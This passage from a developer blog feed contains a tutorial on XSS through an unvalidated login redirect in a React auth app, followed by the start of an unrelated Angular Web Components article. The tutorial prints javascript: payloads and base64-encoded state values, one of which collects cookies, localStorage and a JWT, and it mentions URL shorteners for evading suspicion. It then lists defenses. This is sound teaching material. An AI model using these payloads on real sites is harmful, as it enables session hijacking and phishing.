  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handleLogin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;any&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;preventDefault&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="c1"&gt;// send auth to NestJS backend&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://localhost:3000/api/auth/login&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;password&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt;
      &lt;span class="p"&gt;});&lt;/span&gt;

      &lt;span class="c1"&gt;// invalid credentials &lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Invalid credentials&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;

      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;access_token&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

      &lt;span class="c1"&gt;// handle redirect&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;redirectUrl&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;hasToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;redirectUrl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;{token}&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="c1"&gt;// check if contains the {token} query param, if so replace it or append at the end&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;finalUrl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;hasToken&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;redirectUrl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;{token}&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;redirectUrl&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;?token=&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="c1"&gt;// redirect back to original domain&lt;/span&gt;
        &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;finalUrl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Login Failed: Invalid username or password&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="cm"&gt;/* HTML .... */&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nx"&gt;App&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I wouldn’t personally have known that there was a bug if I hadn’t built this example specifically to test it. The vulnerability is hidden in how we handle the redirect using &lt;code&gt;window.location.href&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This property is used to navigate the user to a different domain. If we set it to &lt;code&gt;window.location.href = "https://google.com"&lt;/code&gt;, we go to Google. Where is the problem tho? If we do not validate the &lt;code&gt;redirectUrl&lt;/code&gt;, it is possible to execute code like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;javascript:alert('XSS Executed');window.location.href='https://www.google.com';//&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flbxpdt604eztvv4r9ztw.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flbxpdt604eztvv4r9ztw.gif" alt="Executing Alert XSS In Redirect" width="1278" height="885"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now, of course, this demonstration will not work on every domain. If you are outside localhost, you may receive an Error as displayed below. The script execution is prevented by CSP (Content Security Policy). This header tells the browser to only execute code from trusted JS file. For this demonstration, we assume the application has a missing or weak CSP (allowing 'unsafe-inline'), which can happen in legacy apps. Most of the time you have a strict CSP, therefore executing such a script is not that simple. Currently we ignore this defense mechanism, we just want to demonstrate one of the potential vulnerabilities, as the attacker could find a different backdoor to execute the following attack.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftqwq4l9s39j4gv8jmu52.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftqwq4l9s39j4gv8jmu52.png" alt="CSP Error" width="800" height="205"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Real World Demonstration
&lt;/h2&gt;

&lt;p&gt;Since we are not sanitizing the &lt;code&gt;redirectUrl&lt;/code&gt;, that is parsed on the auth React app, we can encode Javascript code inside it. When we visit the auth application, all the information is encoded to the &lt;code&gt;state&lt;/code&gt; query param by base64. Therefore we can construct a malicious payload and encode it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;appName&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Workday Clone (Angular)&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;traceId&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Example-123&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;redirectUrl&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;javascript:alert('XSS Executed');window.location.href='http://localhost:4200?token={token}'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// will result to the following hash:&lt;/span&gt;
&lt;span class="cm"&gt;/**
ewogICAgICJhcHBOYW1lIjogIldvcmtkYXkgQ2xvbmUgKEFuZ3VsYXIpIiwKICAidHJhY2VJZCI6
ICJFeGFtcGxlLTEyMyIsCiAgInJlZGlyZWN0VXJsIjogImphdmFzY3JpcHQ6YWxlcnQoJ1hTUyBF
eGVjdXRlZCcpO3dpbmRvdy5sb2NhdGlvbi5ocmVmPSdodHRwOi8vbG9jYWxob3N0OjQyMDA/dG9r
ZW49e3Rva2VufSciCn0=
**/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvhod9efaf5kbdaj5ic8k.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvhod9efaf5kbdaj5ic8k.gif" alt="XSS Alert Injection" width="1067" height="887"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Both application is running on localhost, but the domains can be anything. The idea of this attack is simple:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The attacker sends a victim a link to the legitimate login page, but with a modified &lt;code&gt;state&lt;/code&gt; parameter.&lt;/li&gt;
&lt;li&gt;The victim logs in securely.&lt;/li&gt;
&lt;li&gt;The React app reads the malicious &lt;code&gt;redirectUrl&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The browser executes the injected script (XSS).&lt;/li&gt;
&lt;li&gt;The script then redirects the user to the actual app, so the victim has no idea what happened.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On this example you see a harmless alert for a demonstration. But what if we wanted to be destructive? We could inject code in the &lt;code&gt;state&lt;/code&gt; query param to steal the user's localStorage, cookies and the JTW token, and send them to an external server using &lt;code&gt;fetch()&lt;/code&gt; before redirecting them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;{token}&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;capturedData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="na"&gt;cookies&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
   &lt;span class="na"&gt;storage&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
   &lt;span class="na"&gt;token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="c1"&gt;// attacker would use fetch() to log somewhere this data&lt;/span&gt;
&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;capturedData&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://localhost:4200?token=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// --------------------&lt;/span&gt;
&lt;span class="cm"&gt;/** -- Generated Base64
ewogICAgICJhcHBOYW1lIjogIldvcmtkYXkgQ2xvbmUgKEFuZ3VsYXIpIiwKICAgICAgInRyYWNl
SWQiOiAic3AtMTIzIiwKICAgICAgInJlZGlyZWN0VXJsIjogImphdmFzY3JpcHQ6Y29uc3QgdD0n
e3Rva2VufSc7Y29uc3QgY2FwdHVyZWREYXRhPXtjb29raWVzOmRvY3VtZW50LmNvb2tpZSxzdG9y
YWdlOiBsb2NhbFN0b3JhZ2UsdG9rZW46dH07YWxlcnQoSlNPTi5zdHJpbmdpZnkoY2FwdHVyZWRE
YXRhLG51bGwsMikpO3dpbmRvdy5sb2NhdGlvbi5ocmVmPSdodHRwOi8vbG9jYWxob3N0OjQyMDA/
dG9rZW49Jyt0OyIKfQ==
**/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi68a9j2p91bimxrecq0o.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi68a9j2p91bimxrecq0o.gif" alt="XSS Execution Stealing User Data" width="800" height="698"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In the example above, we successfully displayed (or "stole") client’s information. The user was still able to log in, meaning the attack was executed silently. The attacker now has the user’s valid token and can impersonate them.&lt;/p&gt;

&lt;p&gt;A confusing part may be how the attacker got the JWT token. This goes back to the this code &lt;code&gt;redirectUrl.replace('{token}', token)&lt;/code&gt;. The &lt;code&gt;redirectUrl&lt;/code&gt; is the whole JS displayed above as a string:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;redirectUrl&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;javascript:const t='{token}';const capturedData={cookies:document.cookie,storage: localStorage,token:t};alert(JSON.stringify(capturedData,null,2));window.location.href='http://localhost:4200?token='+t;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker knows the &lt;code&gt;replace&lt;/code&gt; part exists in the React app. Yes, the JS is minified in PROD, but let’s skip the logic how the attacker knows about this vulnerability. The auth application sees the &lt;code&gt;{token}&lt;/code&gt; placeholder and injects the real JWT right into it and then just executes the whole JS inside the &lt;code&gt;redirectUrl&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Keep in mind that sometimes when the query param (&lt;code&gt;state&lt;/code&gt;) is too long, it can fail on parsing/decoding. Therefore the attacker could use &lt;a href="https://minify-js.com/" rel="noopener noreferrer"&gt;JS minification&lt;/a&gt; and &lt;a href="https://www.shorturl.at/" rel="noopener noreferrer"&gt;URL shortener&lt;/a&gt; tools to avoid parsing crashes and suspicion from the victim side.&lt;/p&gt;

&lt;p&gt;Even if our application had a strict CSP that would have blocked the &lt;code&gt;javascript:&lt;/code&gt; execution, we would still have a major security hole, an “Open Redirect Vulnerability”. The attacker could set the &lt;code&gt;redirectUrl&lt;/code&gt; to &lt;code&gt;http://fake-login-page.com&lt;/code&gt;. The user logs inside the real app, the server returns a valid token, and then auth app immediately redirects the use to the attacker's phishing site (which looks the same as our auth app). The victim might re-enter their credentials into the fake site. Therefore we should have an &lt;code&gt;allowlist&lt;/code&gt;, list of valid domain where the user can be redirected.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2jhnvh3i3uhc7zjiknne.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2jhnvh3i3uhc7zjiknne.png" alt="Gemini: Invalid Phishing Redirect URL" width="800" height="428"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Avoid XSS Vulnerability In Redirection
&lt;/h2&gt;

&lt;p&gt;This demo tried to mimic some real-world scenario, but also it was designed such that we will be able to execute this XSS redirect attack. Production applications are probably much more protected than my demo, but if your app looks like something that I’ve presented, here are some ways how you can prevent this attack:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Temporary Token -&lt;/strong&gt; Instead of sending the actual JWT access token in the URL, the auth server should generate a one time use "authorization code" and pass that in the redirect. When the Angular dashboard receives this code, it requests the backend to exchange it for the real JWT. This works because the code is valid only for a few seconds, making it useless even if captured.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Token Reuse Detection -&lt;/strong&gt; The backend should mark the real token as "used" in the database immediately after it is exchanged or validated for the first time. You can even attached the requester IP address to the specific token. If the system detects a second attempt to use the same token ("replay attack"), it should immediately invalidate that token… maybe even alert the security team.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Domain Validation -&lt;/strong&gt; The most immediate fix is to validate the &lt;code&gt;redirectUrl&lt;/code&gt; on the client side, sanitize the data. Probably creating one URL validation function that checks if the contains any &lt;code&gt;javascript:&lt;/code&gt; code and whether it starts with &lt;code&gt;http:&lt;/code&gt; or &lt;code&gt;https:&lt;/code&gt;. Even an “allowedList” of trusted domains that sits on the authentication app can help to prevent redirection to any phishing site.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There are many more ways how to prevent this attack. I am not a security expect, but this is an interesting example I bumped into when I was researching about security, so I wanted to share my findings. Hope you liked this article, catch more of my stuff on&amp;nbsp;&lt;a href="https://dev.to/krivanek06"&gt;dev.to&lt;/a&gt;, connect with me on&amp;nbsp;&lt;a href="https://www.linkedin.com/in/eduard-krivanek" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;&amp;nbsp;or check my&amp;nbsp;&lt;a href="https://eduardkrivanek.com/" rel="noopener noreferrer"&gt;Personal Website&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>javascript</category>
      <category>security</category>
      <category>learning</category>
    </item>
    <item>
      <title>Web Components in Angular - Why Passing Inputs Breaks on Navigation</title>
      <dc:creator>Eduard Krivanek</dc:creator>
      <pubDate>Sun, 21 Dec 2025 16:11:40 +0000</pubDate>
      <link>https://dev.to/playfulprogramming-angular/web-components-in-angular-why-passing-inputs-breaks-on-navigation-52b6</link>
      <guid>https://dev.to/playfulprogramming-angular/web-components-in-angular-why-passing-inputs-breaks-on-navigation-52b6</guid>
      <description>&lt;p&gt;Imagine that in your organization one team is building a library that you want to integrate into your Angular app. That library is built using a different framework, such as Svelte or React, and uses Web Components for seamless integration. &lt;/p&gt;

&lt;p&gt;For this example, let’s say it is a card payment widget you want to integrate into Angular (&lt;code&gt;payment-widget&lt;/code&gt;), and it requires some input parameters like &lt;code&gt;country&lt;/code&gt; and &lt;code&gt;entity&lt;/code&gt;, which are validated during the construction of the widget. If incorrect values are provided, the component will fail. You might have something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-payment-wrapper&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`
    &amp;lt;payment-widget [attr.country]="country()" [attr.entity]="entity()" /&amp;gt;
  `&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;schemas&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;CUSTOM_ELEMENTS_SCHEMA&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;PaymentWidgetComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
 &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;country&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;required&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;entity&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;required&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

 &lt;span class="c1"&gt;// ... other code&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On the first load, everything works fine. The attributes are passed and the widget works as expected. Then you navigate away (the component is destroyed), come back, and get an error: &lt;code&gt;Bad or unsupported value 'undefined' of input parameter 'entityUid'&lt;/code&gt;. The Angular component has the value. The binding exists. Yet the Web Component crashes as if the value never arrived. This makes the issue especially confusing because there is no compilation or TypeScript error.&lt;/p&gt;

&lt;p&gt;I am writing this article because I recently ran into this issue, and it took us a while to understand what was happening and why it worked only once. Our assumption was that “&lt;em&gt;if I bind `[attr.&lt;/em&gt;]`, Angular will update the element whenever the value changes”*, which is correct, but it does not work the way you might expect with Web Components.&lt;/p&gt;

